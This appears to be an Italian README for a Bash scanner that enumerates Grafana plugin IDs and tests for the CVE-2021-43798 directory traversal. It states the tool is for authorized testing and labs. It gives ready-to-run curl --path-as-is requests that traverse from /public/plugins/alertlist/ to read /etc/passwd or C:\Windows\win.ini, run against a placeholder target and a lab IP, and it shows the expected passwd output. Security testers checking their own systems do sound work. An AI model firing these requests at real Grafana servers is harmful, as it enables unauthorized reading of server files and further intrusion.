Scanner basato su Bash che enumera gli ID dei plugin di Grafana e verifica la directory traversal CVE-2021-43798 tentando di leggere /etc/passwd o win.ini su istanze vulnerabili.
Un piccolo strumento basato su Bash per testare istanze Grafana per CVE-2021-43798, una vulnerabilità di directory traversal che interessa versioni vulnerabili di Grafana.
Lo strumento enumera gli ID dei plugin di Grafana e utilizza curl --path-as-is per verificare se il directory traversal può accedere a un file noto.
Solo per test di sicurezza autorizzati e ambienti di laboratorio.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: Verifica l'accesso a C:\Windows\win.inigrafana-linux.sh: Verifica l'accesso a /etc/passwdplugins.txt: Una wordlist contenente gli ID dei plugin di Grafana utilizzati durante l'enumerazione.curlVerifica che curl sia installato:
curl --version
Rendi eseguibili gli script:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 è una vulnerabilità di directory traversal in Grafana.
L'endpoint vulnerabile si basa su:
/public/plugins/<plugin-id>/
La vulnerabilità può consentire il traversal al di fuori della directory dei plugin prevista.
La parte importante durante il test con curl è:
--path-as-is
Senza questa opzione, il client potrebbe normalizzare il percorso prima di inviarlo al server.
Lo scanner Windows tenta di recuperare:
C:\Windows\win.ini
Il percorso è rappresentato nella richiesta HTTP come:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Esempio:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
Puoi testare manualmente un plugin con:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Per il target di laboratorio:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Una risposta positiva dovrebbe contenere il contenuto del file INI di Windows.
Lo scanner Linux tenta di recuperare:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Esempio generico:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Per il target di laboratorio:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Una risposta positiva su Linux dovrebbe contenere voci simili a:
root:x:0:0:root:/root:/bin/bash
Entrambi gli scanner utilizzano gli stessi argomenti di base:
u, --url : URL di base di Grafanaw, --wordlist : Wordlist dei pluginf, --file : File da testareh, --help : Mostra l'aiuto